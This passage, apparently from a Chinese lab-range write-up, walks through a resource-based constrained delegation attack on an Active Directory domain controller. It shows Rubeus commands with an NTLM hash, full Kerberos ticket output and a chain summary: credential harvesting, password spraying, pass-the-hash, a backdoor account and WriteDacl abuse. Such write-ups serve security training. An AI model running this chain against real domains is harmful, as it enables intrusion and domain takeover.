[X] KRB-ERROR (18) : KDC_ERR_CLIENT_REVOKED

[X] S4U2Self failed, unable to perform S4U2Proxy.

参数	值	含义
`s4u`	–	执行 S4U2Self + S4U2Proxy 攻击
`/user`	`EVILCOMPUTER$`	你控制的计算机账户（攻击源）
`/rc4`	`3A37C6AC3AFBEEF7A8EB36A4481BDED4`	`EVILCOMPUTER$` 的 NTLM 哈希
`/domain`	`aoseluauto.com`	目标域
`/msdsspn`	`CIFS/ASLSRVAD05`	目标服务（域控的文件共享服务）
`/impersonateuser`	`Administrator`	要模拟的用户（域管理员）
`/nowrap`	–	输出格式（不换行，便于复制）

使用Rubeus请求票据的时候出现了报错：[X] KRB-ERROR (18):KDC_ERR_CLIENT_REVOKED，表示当前模拟的用户Administrator被禁用掉了。

找其他域管理员

修改为SVC_ADM01用户后，成功获取到票据：

C:\Users\Public>Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:3A37C6AC3AFBEEF7A8EB36A4481BDED4 /domain:aoseluauto.com /msdsspn:cifs/ASLSRVAD05 /impersonateuser:SVC_ADM01 /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: S4U

[*] Using rc4_hmac hash: 3A37C6AC3AFBEEF7A8EB36A4481BDED4
[*] Building AS-REQ (w/ preauth) for: 'aoseluauto.com\EVILCOMPUTER$'
[*] Using domain controller: 172.16.34.5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFyDCCBcSgAwIBBaEDAgEWooIE0jCCBM5hggTKMIIExqADAgEFoRAbDkFPU0VMVUFVVE8uQ09NoiMwIaADAgECoRowGBsGa3JidGd0Gw5hb3NlbHVhdXRvLmNvbaOCBIYwggSCoAMCARKhAwIBAqKCBHQEggRwAayo9khXFTnquu4bzwPCFpAcpajQlDn1wsM1KmdBIkYvQJiJFijq7pXEKXH1Ny/p134rHc2r/gR1xMv3B/hjc6BslAz5plftb1aBdos4AGejVBpr1WidpoqSD2c634pAQDtCL4RxzDtRQjb1ZCGjN310f4vGpoiwPb8Lm5kh0Vl1quPaJC7wlaRaq9GQQE8CDwTKpGrtC9K8RsOvaRSx2eKc9+njoykpjqxpd+V7dSYB4UyscA562ptzGKqXhayxzakbjWa7kNp0pA68PUwfDWOGKdyCxtIsNWRLiRVpE6WOsgbOUVBax2lOxf612jCyHE1MOJX50QV6S+seuNJHa5WY3A4Ndjl+DiKCX4lYO/4nzTBnajeOxRzu2Pke4g17OC5t+f1AuG+hTihvGzA9mJjoUjeFC/EnEQjo3443/A9LSM3rGEGtEb1vpQd6tGR2ujCz+WWmCUXLOC9BvC8bA4Ax8MW/zqHO5/QZmGu7jEdR/VJHBuwQGX81nnFvp35F8ESwMlCX6H2PufBQS30sesVKOhWBvqIUbZpSxGmuRVFiGsriLXbK88piuwJoNicPnJ6dvrncl1/ccT8o6l/h29Svns0UZSeqnhXgXSP8qrruf/xoP2KmtylxVwGqMDHmiSs41m1rPui3bxqSmMUiykD4HhkfOO7ZCwNYcKPKRB59rrwAkapymuj60UX+2sDH/79lDTANgVpZ7rrICDBcZgHit9/4W0866xuNTi9z7aOAElNimB4kX6bjrgB3cZD4p6nB3dPp9yqgipG25si/CE0FX7MBu4xE7tdNSb+4bW2UdkCoVKTOK7n78QM54laJIzdd+qG2+ZxiWpnighW0fH/JX0813q9YP3hqdjd9enJH/bN7IPNhd/xuwNZVC3cvVFtOjVKbJuKuM3QpPejXAC6df0Vgrp1vaG+0nDQKC6JOJm4JNcBmTVKwABZD2aLQSDWURH7nJR31HpOxid3mRghCNgIDnN3M8QZCXL4zcfgV/c+3FEY/shRhfSv0IlGXM0ZiZW80v+xnTtmOH1ZnM036W9y/w13P6lL1lupIFf2yaSEJUmE1Pt50LLiqBjwur/kT2q2Yi8T7ZB0no1KrwLpcb5o9YOQXl60UIIuYC/DXF0iUTWLe6hsLcliQPPvb2WN8swjK39/+AWT9+D4UCL0tNJ0qoGizEx22Yp/7q5LHgcqsHaQkR1BSs0mujp7BrRwLSZUqS2MzBh3EY2AyUSMT/7N8OGZcHxINnHEdoOUNzwySelc/eaYkCLqh404hgGJAXmV8P/gKa94wxKgygiQBQ4jVkWM+R367ytMz9MvXzBiFMyak4aCK1We5bUK6F1mmdx4ss+gK3Feh2n1vl7O+J1wqWstCrjWNtSNzo/zHFMpwHGG6xjGPZOlSaRjn8nJBsXollkhbpEW1ookcdb7VgsVsDu7ER4vWkCpX8lpGr2pU+JroW3oFZQExi8RcbJJqzLXUn9JguAVZXhynJNbjDIeTJ3W82y+eDMt3rUWjgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBF6ESBBDLkm/UHy7nujYdww+7cCAToRAbDkFPU0VMVUFVVE8uQ09NohowGKADAgEBoREwDxsNRVZJTENPTVBVVEVSJKMHAwUAQOEAAKURGA8yMDI2MDYxMjAzMzkwN1qmERgPMjAyNjA2MTIxMzM5MDdapxEYDzIwMjYwNjE5MDMzOTA3WqgQGw5BT1NFTFVBVVRPLkNPTakjMCGgAwIBAqEaMBgbBmtyYnRndBsOYW9zZWx1YXV0by5jb20=


[*] Action: S4U

[*] Building S4U2self request for: 'EVILCOMPUTER$@AOSELUAUTO.COM'
[*] Using domain controller: ASLSRVAD05.aoseluauto.com (172.16.34.5)
[*] Sending S4U2self request to 172.16.34.5:88
[+] S4U2self success!
[*] Got a TGS for 'SVC_ADM01' to 'EVILCOMPUTER$@AOSELUAUTO.COM'
[*] base64(ticket.kirbi):

      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

[*] Impersonating user 'SVC_ADM01' to target SPN 'cifs/ASLSRVAD05'
[*] Building S4U2proxy request for service: 'cifs/ASLSRVAD05'
[*] Using domain controller: ASLSRVAD05.aoseluauto.com (172.16.34.5)
[*] Sending S4U2proxy request to domain controller 172.16.34.5:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/ASLSRVAD05':

      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
[+] Ticket successfully imported!

票据已经成功导入，klist 也确认了 SVC_ADM01 对 cifs/ASLSRVAD05 的服务票据存在。

C:\Users\Public>.\Rubeus.exe klist

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0


Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x4c4486

  UserName                 : hacker
  Domain                   : ASLSRVFS02
  LogonId                  : 0x4c4486
  UserSID                  : S-1-5-21-3738990733-2195238930-2414615058-1000
  AuthenticationPackage    : NTLM
  LogonType                : RemoteInteractive
  LogonTime                : 6/11/2026 8:15:37 PM
  LogonServer              : ASLSRVFS02
  LogonServerDNSDomain     :
  UserPrincipalName        :

    [0] - 0x12 - aes256_cts_hmac_sha1
      Start/End/MaxRenew: 6/11/2026 8:39:07 PM ; 6/12/2026 6:39:07 AM ; 6/18/2026 8:39:07 PM
      Server Name       : cifs/ASLSRVAD05 @ AOSELUAUTO.COM
      Client Name       : SVC_ADM01 @ AOSELUAUTO.COM
      Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

拿下域控的链路总结

1. 用 svc_monadm01 的 WriteDacl 权限
         ↓
2. 创建计算机账户 EVILCOMPUTER$
         ↓
3. 配置域控允许 EVILCOMPUTER$ 委派
         ↓
4. 用 Rubeus 模拟 SVC_ADM01（域管） 用户
         ↓
5. 获取 SVC_ADM01 对 CIFS/ASLSRVAD05 的服务票据
         ↓
6. 成功访问域控 C$ 共享拿到flag

整个靶场的链路总结

初始打点
    │
    ├── 发现 Windows 自动登录配置
    │        ↓
    └── 获取明文凭据 EthanMorris / DROCV4?LtyCp
              ↓
        密码喷洒 (Password Spraying)
              ↓
    ┌─────────┼─────────┬─────────────┐
    ↓         ↓         ↓             ↓
域控(34.5)  文件服务器(34.23)  工作站(36.21)
    ↓
文件服务器(34.23) 获得立足点
    ↓
本地权限提升 (从 SAM dump)
    ↓
获取本地 Administrator 哈希
    ↓
Pass-the-Hash 登录文件服务器
    ↓
添加后门账户 hacker / P@ssw0rd123!
    ↓
RDP 登录文件服务器 → 获得图形化操作环境
    ↓
收集域信息
    ↓
BloodHound 分析
    ↓
发现 svc_monadm01 拥有 WriteDacl 权限
    ↓
利用 svc_monadm01 哈希进行 ACL 滥用
    ↓
RBCD (基于资源的约束委派) 攻击
    ├── 创建计算机账户 EVILCOMPUTER$
    ├── 配置委派 (EVILCOMPUTER$ → 域控)
    └── Rubeus S4U2Self + S4U2Proxy
    ↓
获取 Administrator 对 CIFS/ASLSRVAD05 的服务票据
    ↓
导入票据
    ↓
访问域控 C$ 共享
    ↓
读取 Flag

总结

从这个靶场中，我掌握了从入口机突破到域控的完整攻击链路。核心收获有三点：一是建立了“配置即漏洞”的审计思维，理解了注册表、ACL等系统配置如何成为敏感信息泄露和权限滥用；二是熟练运用了工具链组合，将密码喷洒、哈希传递、BloodHound路径分析与RBCD委派攻击链流程化；三是深入理解了Kerberos协议在资源委派场景下的安全边界，并具备了对 KDC_ERR_CLIENT_REVOKED 这类复杂报错的解决方式